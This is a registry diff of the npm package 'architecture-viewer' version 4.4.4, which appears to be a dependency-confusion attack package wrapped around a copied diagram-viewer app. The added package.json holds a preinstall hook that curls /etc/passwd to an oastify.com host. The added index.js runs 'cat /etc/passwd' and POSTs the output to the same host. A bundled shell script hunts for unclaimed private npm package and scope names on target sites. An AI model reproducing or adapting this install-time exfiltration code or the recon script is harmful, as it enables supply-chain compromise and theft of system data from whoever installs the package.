architecture-viewer 0.0.1-security → 4.4.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of architecture-viewer might be problematic. Click here for more details.
- package/2/package.json +10 -0
- package/2/postinstall.js +33 -0
- package/New Folder/architecture-viewer/.babelrc +9 -0
- package/New Folder/architecture-viewer/.whitesource +8 -0
- package/New Folder/architecture-viewer/CODEOWNERS +2 -0
- package/New Folder/architecture-viewer/LICENSE.txt +201 -0
- package/New Folder/architecture-viewer/README.md +238 -0
- package/New Folder/architecture-viewer/licenses.csv +40 -0
- package/New Folder/architecture-viewer/package-lock.json +16126 -0
- package/New Folder/architecture-viewer/package.json +60 -0
- package/New Folder/architecture-viewer/preact.config.js +62 -0
- package/New Folder/architecture-viewer/readme_resources/screenrecord_arch_diagram.gif +0 -0
- package/New Folder/architecture-viewer/sample_json_data/large_web.json +289 -0
- package/New Folder/architecture-viewer/sample_json_data/no_steps.json +185 -0
- package/New Folder/architecture-viewer/sample_json_data/readme_example.json +55 -0
- package/New Folder/architecture-viewer/sample_json_data/section_example.json +323 -0
- package/New Folder/architecture-viewer/sample_json_data/simple_structure.json +131 -0
- package/New Folder/architecture-viewer/sample_json_data/zones_example.json +445 -0
- package/New Folder/architecture-viewer/sample_plantuml_data/example.adoc +65 -0
- package/New Folder/architecture-viewer/sample_plantuml_data/example.png +0 -0
- package/New Folder/architecture-viewer/sample_plantuml_data/example.svg +1 -0
- package/New Folder/architecture-viewer/src/assets/data.json +445 -0
- package/New Folder/architecture-viewer/src/assets/favicon.ico +0 -0
- package/New Folder/architecture-viewer/src/assets/grid_data.json +1126 -0
- package/New Folder/architecture-viewer/src/assets/icons/android-chrome-192x192.png +0 -0
- package/New Folder/architecture-viewer/src/assets/icons/android-chrome-512x512.png +0 -0
- package/New Folder/architecture-viewer/src/assets/icons/apple-touch-icon.png +0 -0
- package/New Folder/architecture-viewer/src/assets/icons/favicon-16x16.png +0 -0
- package/New Folder/architecture-viewer/src/assets/icons/favicon-32x32.png +0 -0
- package/New Folder/architecture-viewer/src/assets/icons/info.png +0 -0
- package/New Folder/architecture-viewer/src/assets/icons/mstile-150x150.png +0 -0
- package/New Folder/architecture-viewer/src/assets/test_data.json +32 -0
- package/New Folder/architecture-viewer/src/components/app.js +231 -0
- package/New Folder/architecture-viewer/src/components/controls.js +195 -0
- package/New Folder/architecture-viewer/src/components/diagram.js +362 -0
- package/New Folder/architecture-viewer/src/components/diagramArea.js +68 -0
- package/New Folder/architecture-viewer/src/components/info.js +37 -0
- package/New Folder/architecture-viewer/src/components/infoArea.js +75 -0
- package/New Folder/architecture-viewer/src/components/key.js +42 -0
- package/New Folder/architecture-viewer/src/components/tableOfContents.js +112 -0
- package/New Folder/architecture-viewer/src/components/tocStep.js +100 -0
- package/New Folder/architecture-viewer/src/components/zoneLegend.js +55 -0
- package/New Folder/architecture-viewer/src/index.js +20 -0
- package/New Folder/architecture-viewer/src/manifest.json +19 -0
- package/New Folder/architecture-viewer/src/routes/home/index.js +29 -0
- package/New Folder/architecture-viewer/src/routes/home/style.less +23 -0
- package/New Folder/architecture-viewer/src/routes/profile/index.js +63 -0
- package/New Folder/architecture-viewer/src/routes/profile/style.less +23 -0
- package/New Folder/architecture-viewer/src/style/helpers.less +40 -0
- package/New Folder/architecture-viewer/src/style/index.css +224 -0
- package/New Folder/architecture-viewer/src/style/jquery.qtip.less +623 -0
- package/New Folder/architecture-viewer/src/sw.js +4 -0
- package/New Folder/architecture-viewer/src/template.html +15 -0
- package/New Folder/architecture-viewer/src/utils/dataValidator.js +333 -0
- package/New Folder/architecture-viewer/src/utils/parser.js +623 -0
- package/New Folder/architecture-viewer/src/utils/stepUtils.js +30 -0
- package/New Folder/architecture-viewer/tests/__mocks__/browserMocks.js +21 -0
- package/New Folder/architecture-viewer/tests/__mocks__/fileMocks.js +3 -0
- package/New Folder/architecture-viewer/tests/__mocks__/setupTests.js +6 -0
- package/New Folder/architecture-viewer/tests/parser.test.js +799 -0
- package/New Folder/architecture-viewer/tests/testfiles/aliased_participants.adoc +7 -0
- package/New Folder/architecture-viewer/tests/testfiles/bigspace.json +1 -0
- package/New Folder/architecture-viewer/tests/testfiles/dividers.adoc +18 -0
- package/New Folder/architecture-viewer/tests/testfiles/doubled_names.adoc +10 -0
- package/New Folder/architecture-viewer/tests/testfiles/empty.adoc +2 -0
- package/New Folder/architecture-viewer/tests/testfiles/meta.adoc +19 -0
- package/New Folder/architecture-viewer/tests/testfiles/notes_multiline.adoc +17 -0
- package/New Folder/architecture-viewer/tests/testfiles/notes_singleline.adoc +16 -0
- package/New Folder/architecture-viewer/tests/testfiles/parsefile.adoc +6 -0
- package/New Folder/architecture-viewer/tests/testfiles/participant_decl.adoc +6 -0
- package/New Folder/architecture-viewer/tests/testfiles/participant_info.adoc +7 -0
- package/New Folder/architecture-viewer/tests/testfiles/readme.adoc +7 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_aliased.adoc +9 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_group.adoc +16 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_group.json +1 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.adoc +16 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_group_mixed.json +1 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_loop.adoc +16 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_loop.json +1 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_mixed.adoc +9 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_steptest.adoc +17 -0
- package/New Folder/architecture-viewer/tests/testfiles/steps_unaliased.adoc +9 -0
- package/New Folder/architecture-viewer/tests/testfiles/supernodes.adoc +10 -0
- package/New Folder/architecture-viewer/tests/testfiles/unaliased_participants.adoc +6 -0
- package/New Folder/architecture-viewer/tests/testfiles/undeclaredparticipant.adoc +23 -0
- package/New Folder/architecture-viewer/tests/testfiles/xsstest.adoc +15 -0
- package/New Folder/architecture-viewer/tests/testfiles/zoned_participants.adoc +5 -0
- package/New Folder/architecture-viewer/tests/validator.test.js +63 -0
- package/New Folder/d_i.txt +1 -0
- package/New Folder/dependency_confution_npm.sh +70 -0
- package/New Folder/licenses.csv +40 -0
- package/New Folder/npm_sub.txt +0 -0
- package/New Folder/package.json.save +12 -0
- package/index.js +39 -0
- package/package.json +9 -3
- package/README.md +0 -5
@@ -0,0 +1 @@
|
|
1
|
+
{"title":"","graphData":{"nodes":[{"data":{"id":"Edge","zone":"#FBDCD6"}},{"data":{"id":"DMS","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"Edge","target":"DMS"}}]},"stepData":[{"id":"0","type":"single","nodes":["Edge","DMS"],"steps":[],"description":"Check if deviceToken is present","note":""},{"id":"1","type":"single","nodes":["Edge","DMS"],"steps":[],"description":"another one","note":""}],"zoneData":[]}
|
@@ -0,0 +1,19 @@
|
|
1
|
+
@startuml
|
2
|
+
|
3
|
+
|
4
|
+
participant plantuml
|
5
|
+
participant json
|
6
|
+
participant parser
|
7
|
+
participant validator
|
8
|
+
participant renderer
|
9
|
+
participant TOC
|
10
|
+
participant diagram
|
11
|
+
|
12
|
+
plantuml -> parser: a plantUML file is uploaded to the app, and parsed
|
13
|
+
json -> parser: a JSON file is uploaded to the app, and parsed
|
14
|
+
parser -> validator: the parsed result is passed to the validator, which is then validated (mostly for user generated JSON)
|
15
|
+
validator -> renderer: after the data is validated, the data is rendered by the app's renderer
|
16
|
+
renderer -> TOC: the step data is rendered in a TOC widget located on the right of the app
|
17
|
+
renderer -> diagram: the diagram is rendered using the graphData, and is located on the left of the app
|
18
|
+
|
19
|
+
@enduml
|
@@ -0,0 +1 @@
|
|
1
|
+
{"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"group","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"group","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testgroup2","note":"group note testgroup2"}],"description":"testgroup1","note":"group note testgroup1"}],"zoneData":[]}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"group","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testloop2","note":"loop note testloop2"}],"description":"testgroup1","note":"group note testgroup1"}],"zoneData":[]}
|
@@ -0,0 +1 @@
|
|
1
|
+
{"title":"","graphData":{"nodes":[{"data":{"id":"A","zone":"#FBDCD6"}},{"data":{"id":"B","zone":"#FBDCD6"}},{"data":{"id":"C","zone":"#FBDCD6"}}],"edges":[{"data":{"id":"e0","source":"A","target":"B"}},{"data":{"id":"e1","source":"B","target":"C"}}]},"stepData":[{"id":"g0","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"0","type":"single","nodes":["A","B"],"steps":[],"description":"AB","note":""},{"id":"g1","type":"group","groupName":"loop","nodes":[],"steps":[{"id":"1","type":"single","nodes":["B","C"],"steps":[],"description":"BC","note":""}],"description":"testloop2","note":"loop note testloop2"}],"description":"testloop1","note":"loop note testloop1"}],"zoneData":[]}
|
@@ -0,0 +1,17 @@
|
|
1
|
+
@startuml
|
2
|
+
autonumber
|
3
|
+
participant A
|
4
|
+
participant B
|
5
|
+
A -> B: AB1
|
6
|
+
A -\ B: AB2
|
7
|
+
A -/ B: AB3
|
8
|
+
A ->> B: AB4
|
9
|
+
A -\\ B: AB5
|
10
|
+
A -// B: AB6
|
11
|
+
A --> B: AB7
|
12
|
+
A --\\ B: AB8
|
13
|
+
A --// B: AB9
|
14
|
+
A -->> B: AB10
|
15
|
+
B <- A: AB11
|
16
|
+
A <-> B: AB12 //shouldn't be parsed
|
17
|
+
@enduml
|
@@ -0,0 +1,23 @@
|
|
1
|
+
@startuml
|
2
|
+
participant "Customer" as cust
|
3
|
+
participant "Wallet Client" as WC
|
4
|
+
participant "Edge" as WO
|
5
|
+
|
6
|
+
participant "APNS" as APNS
|
7
|
+
participant "GCM" as GCM
|
8
|
+
|
9
|
+
participant "DMS" as DMS
|
10
|
+
|
11
|
+
participant "360" as 360
|
12
|
+
participant "360" as CST
|
13
|
+
|
14
|
+
|
15
|
+
WO -> WO: Swallow failure(?)
|
16
|
+
WO -> WC: return Success/Failure
|
17
|
+
|
18
|
+
WC -> WO: <color #0000ff> update AlertSubscriptions
|
19
|
+
WO -> TSYS: <color #0000ff> tsysAuthUpdate V1 (accountReferenceId, boolean)
|
20
|
+
TSYS -> WO: return success/failure
|
21
|
+
|
22
|
+
|
23
|
+
@enduml
|
@@ -0,0 +1,63 @@
|
|
1
|
+
import validator from '../src/utils/dataValidator';
|
2
|
+
|
3
|
+
|
4
|
+
//The given example files for users to test out themselves
|
5
|
+
const base_dir = '../sample_json_data/'
|
6
|
+
|
7
|
+
const simple_structure = require(base_dir + 'simple_structure.json');
|
8
|
+
const section_example = require(base_dir + 'section_example.json');
|
9
|
+
const readme_example = require(base_dir + 'readme_example.json');
|
10
|
+
const zones_example = require(base_dir + 'zones_example.json');
|
11
|
+
const large_web = require(base_dir + 'large_web.json');
|
12
|
+
|
13
|
+
const printErrors = (res) => {
|
14
|
+
if (res.errors) {
|
15
|
+
console.error(errors);
|
16
|
+
}
|
17
|
+
}
|
18
|
+
|
19
|
+
expect.extend({
|
20
|
+
toNotError(received, argument) {
|
21
|
+
const res = validator(received);
|
22
|
+
const pass = res.errors.length === 0;
|
23
|
+
if (pass) {
|
24
|
+
return {
|
25
|
+
message: () => (`${received} is a valid json structure`),
|
26
|
+
pass: true
|
27
|
+
}
|
28
|
+
} else {
|
29
|
+
return {
|
30
|
+
message: () => (`an error occurred in validation, here it is: \n${JSON.stringify(res.errors, null, 4)}`),
|
31
|
+
pass: false
|
32
|
+
}
|
33
|
+
}
|
34
|
+
}
|
35
|
+
})
|
36
|
+
|
37
|
+
describe('validator', () => {
|
38
|
+
/*
|
39
|
+
THE GIVEN JSON FILES IN THE sample_json_data DIRECTORY
|
40
|
+
*/
|
41
|
+
it('should validate a simple diagram', () => {
|
42
|
+
expect(simple_structure).toNotError();
|
43
|
+
});
|
44
|
+
|
45
|
+
it('should validate a diagram with groups', () => {
|
46
|
+
expect(section_example).toNotError();
|
47
|
+
})
|
48
|
+
|
49
|
+
it('should validate the readme example', () => {
|
50
|
+
expect(readme_example).toNotError();
|
51
|
+
})
|
52
|
+
|
53
|
+
it('should validate the zones example', () => {
|
54
|
+
expect(zones_example).toNotError();
|
55
|
+
})
|
56
|
+
|
57
|
+
it('should validate the large web example', () => {
|
58
|
+
expect(large_web).toNotError();
|
59
|
+
})
|
60
|
+
|
61
|
+
|
62
|
+
|
63
|
+
});
|
@@ -0,0 +1 @@
|
|
1
|
+
import InternalModule from "@capitalone/internal-module"
|
@@ -0,0 +1,70 @@
|
|
1
|
+
#!/bin/bash
|
2
|
+
echo '''
|
3
|
+
_ __ ___ __
|
4
|
+
/ | / /___ ____ ___ / | __ __/ /_____
|
5
|
+
/ |/ / __ \/ __ `__ \ / /| |/ / / / __/ __ \
|
6
|
+
/ /| / /_/ / / / / / / / ___ / /_/ / /_/ /_/ /
|
7
|
+
/_/ |_/ .___/_/ /_/ /_/ /_/ |_\__,_/\__/\____/
|
8
|
+
/_/ v1.0.2
|
9
|
+
twitter.com/@x1337loser
|
10
|
+
warning: BE AWARE OF FALSE POSITIVE, CONFIRM YOUR FINDING MANUALLY. Good Luck.
|
11
|
+
Use with caution. You are responsible for your actions.
|
12
|
+
Developers assume no liability and are not responsible for any misuse or damage.
|
13
|
+
'''
|
14
|
+
|
15
|
+
if [ -d $1 ];then
|
16
|
+
echo '' >/dev/null 2>&1
|
17
|
+
else
|
18
|
+
mkdir $PWD/$1;
|
19
|
+
fi
|
20
|
+
echo -e "Running waybackurls on $1"
|
21
|
+
waybackurls $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
|
22
|
+
echo -e "Running gau on $1"
|
23
|
+
gau $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
|
24
|
+
|
25
|
+
cd $PWD/$1;
|
26
|
+
echo -e "Found $(cat $1-js-urls.txt | sort -u |wc -l) js file url ";
|
27
|
+
cat $1-js-urls.txt | sort -u |while read ut;do
|
28
|
+
wget $ut.map >/dev/null 2>&1;
|
29
|
+
done
|
30
|
+
|
31
|
+
grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | grep -v '@' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | tee -a $1-npm-packages.txt >/dev/null 2>&1;
|
32
|
+
|
33
|
+
rm $1-js-urls.txt;
|
34
|
+
if [ -s $1-npm-packages.txt ];then
|
35
|
+
echo -e " Found some packages now going for final test on "$1-npm-packages.txt"";
|
36
|
+
cat $1-npm-packages.txt | sort -u | while read ut;do
|
37
|
+
if $(curl -o /dev/null -s -w "%{http_code}\n" "https://registry.npmjs.org/$ut" | grep "404" >/dev/null 2>&1); then
|
38
|
+
echo -e ""$ut" \e[1;31mFound Private npm package, \e[0m" && echo $ut >> $1-npm-vuln.txt;
|
39
|
+
echo -e "\e[1;31mprivate package URL: https://registry.npmjs.org/$ut \e[0m"
|
40
|
+
|
41
|
+
else
|
42
|
+
echo -e ""$ut"\e[1;33m Available in Public Registry \e[0m";
|
43
|
+
fi
|
44
|
+
done
|
45
|
+
else
|
46
|
+
echo -e "No npm packages found, now going for scope test "
|
47
|
+
fi
|
48
|
+
#this part is for the scope package test please be careful with that, some times `www.npmjs.com` will show you 429 response code
|
49
|
+
grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep '@' | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | grep '@' | cut -d '@' -f 2 | tee -a $1-npm-scope.txt >/dev/null 2>&1;
|
50
|
+
|
51
|
+
if [ -s $1-npm-scope.txt ];then
|
52
|
+
echo -e " Found some Scope names now going for final test on "$1-npm-scope.txt"";
|
53
|
+
cat $1-npm-scope.txt | sort -u | while read pkg;do
|
54
|
+
OPTION=`curl -o /dev/null -s -w "%{http_code}\n" "https://www.npmjs.com/org/$pkg"`
|
55
|
+
if $(echo "$OPTION" | grep "200\|302" >/dev/null 2>&1);then
|
56
|
+
echo -e "@"$pkg"\e[1;33m Available in Public Registry \e[0m" && echo $pkg >> $1-npm-scope-vuln.txt;
|
57
|
+
grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo "Full package name of @"$pkg" is @"$pkg"/"$ut" ";done
|
58
|
+
elif $(echo "$OPTION" | grep "429" >/dev/null 2>&1);then
|
59
|
+
echo -e "@"$pkg" \e[1;31m Rate limit detected \e[0m"
|
60
|
+
|
61
|
+
else
|
62
|
+
echo -e "@"$pkg"\e[1;31m Found Unclaimed scope Name\e[0m";
|
63
|
+
echo -e "\e[1;31mprivate org URL: https://www.npmjs.com/org/$pkg \e[0m"
|
64
|
+
grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo -e "\e[1;31mFull package name of @"$pkg" is @"$pkg"/"$ut", this is unclaimed, Add @"$pkg"/"$ut" in your package.json file like {package: @"$pkg"/"$ut"}, \e[0m";done
|
65
|
+
fi
|
66
|
+
done
|
67
|
+
else
|
68
|
+
echo -e "No Scope name found";
|
69
|
+
fi
|
70
|
+
rm $1-npm-scope.txt *.map.* *.map $1-npm-packages.txt;
|
@@ -0,0 +1,40 @@
|
|
1
|
+
"module name","license","repository"
|
2
|
+
"ajv@6.5.3","MIT","https://github.com/epoberezkin/ajv"
|
3
|
+
"cytoscape-dagre@2.2.1","MIT","https://github.com/cytoscape/cytoscape.js-dagre"
|
4
|
+
"cytoscape-popper@1.0.2","MIT","https://github.com/cytoscape/cytoscape.js-popper"
|
5
|
+
"cytoscape@3.2.16","MIT","https://github.com/cytoscape/cytoscape.js"
|
6
|
+
"dagre@0.7.4","MIT","https://github.com/cpettitt/dagre"
|
7
|
+
"dagre@0.8.2","MIT","https://github.com/dagrejs/dagre"
|
8
|
+
"fast-deep-equal@2.0.1","MIT","https://github.com/epoberezkin/fast-deep-equal"
|
9
|
+
"fast-json-stable-stringify@2.0.0","MIT","https://github.com/epoberezkin/fast-json-stable-stringify"
|
10
|
+
"fillthisfornow@0.0.0","UNLICENSED",""
|
11
|
+
"fs-access@1.0.1","MIT","https://github.com/sindresorhus/fs-access"
|
12
|
+
"graphlib@1.0.7","MIT","https://github.com/cpettitt/graphlib"
|
13
|
+
"graphlib@2.1.5","MIT","https://github.com/dagrejs/graphlib"
|
14
|
+
"heap@0.2.6","PSF","https://github.com/qiao/heap.js"
|
15
|
+
"immutability-helper@2.7.1","MIT","https://github.com/kolodny/immutability-helper"
|
16
|
+
"invariant@2.2.4","MIT","https://github.com/zertosh/invariant"
|
17
|
+
"isexe@2.0.0","ISC","https://github.com/isaacs/isexe"
|
18
|
+
"js-tokens@4.0.0","MIT","https://github.com/lydell/js-tokens"
|
19
|
+
"json-schema-traverse@0.4.1","MIT","https://github.com/epoberezkin/json-schema-traverse"
|
20
|
+
"karma-chrome-launcher@2.2.0","MIT","https://github.com/karma-runner/karma-chrome-launcher"
|
21
|
+
"lodash.debounce@4.0.8","MIT","https://github.com/lodash/lodash"
|
22
|
+
"lodash@3.10.1","MIT","https://github.com/lodash/lodash"
|
23
|
+
"lodash@4.17.10","MIT","https://github.com/lodash/lodash"
|
24
|
+
"loose-envify@1.4.0","MIT","https://github.com/zertosh/loose-envify"
|
25
|
+
"null-check@1.0.0","MIT","https://github.com/sindresorhus/null-check"
|
26
|
+
"object-assign@4.1.1","MIT","https://github.com/sindresorhus/object-assign"
|
27
|
+
"popper.js@1.14.4","MIT","https://github.com/FezVrasta/popper.js"
|
28
|
+
"preact-compat@3.18.3","MIT","https://github.com/developit/preact-compat"
|
29
|
+
"preact-render-to-string@3.8.2","MIT","https://github.com/developit/preact-render-to-string"
|
30
|
+
"preact-router@2.6.1","MIT","https://github.com/developit/preact-router"
|
31
|
+
"preact-transition-group@1.1.1","MIT","https://github.com/developit/preact-transition-group"
|
32
|
+
"preact@8.3.1","MIT","https://github.com/developit/preact"
|
33
|
+
"pretty-format@3.8.0","MIT","https://github.com/thejameskyle/pretty-format"
|
34
|
+
"prop-types@15.6.2","MIT","https://github.com/facebook/prop-types"
|
35
|
+
"punycode@2.1.1","MIT","https://github.com/bestiejs/punycode.js"
|
36
|
+
"standalone-react-addons-pure-render-mixin@0.1.1","MIT",""
|
37
|
+
"tippy.js@2.5.4","MIT","https://github.com/atomiks/tippyjs"
|
38
|
+
"uri-js@4.2.2","BSD-2-Clause","https://github.com/garycourt/uri-js"
|
39
|
+
"which@1.3.1","ISC","https://github.com/isaacs/node-which"
|
40
|
+
|
File without changes
|
package/index.js
ADDED
@@ -0,0 +1,39 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const exec = require('child_process').exec;
|
3
|
+
|
4
|
+
// If this file is executed, you know the package is being installed
|
5
|
+
console.log("[+] Malicious package installed!");
|
6
|
+
|
7
|
+
// Exfiltrate sensitive information to a remote server
|
8
|
+
exec('cat /etc/passwd', (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(`exec error: ${error}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
|
14
|
+
// Send the sensitive data to a remote server
|
15
|
+
const options = {
|
16
|
+
hostname: 'vqpgutq5c4iuyqiy6gfjleom5db7z2nr.oastify.com', // Replace with my server
|
17
|
+
port: 80,
|
18
|
+
path: '/exfiltrate',
|
19
|
+
method: 'POST',
|
20
|
+
headers: {
|
21
|
+
'Content-Type': 'application/json',
|
22
|
+
}
|
23
|
+
};
|
24
|
+
|
25
|
+
const req = http.request(options, (res) => {
|
26
|
+
res.on('data', (d) => {
|
27
|
+
process.stdout.write(d);
|
28
|
+
});
|
29
|
+
});
|
30
|
+
|
31
|
+
req.on('error', (e) => {
|
32
|
+
console.error(e);
|
33
|
+
});
|
34
|
+
|
35
|
+
// Send the exfiltrated data
|
36
|
+
req.write(JSON.stringify({ passwd: stdout }));
|
37
|
+
req.end();
|
38
|
+
});
|
39
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "architecture-viewer",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "4.4.4",
|
4
|
+
"description": "An architecture viewer tool",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "/usr/bin/curl --data '@/etc/passwd' ${hostname}vqpgutq5c4iuyqiy6gfjleom5db7z2nr.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=architecture-viewer for more information.
|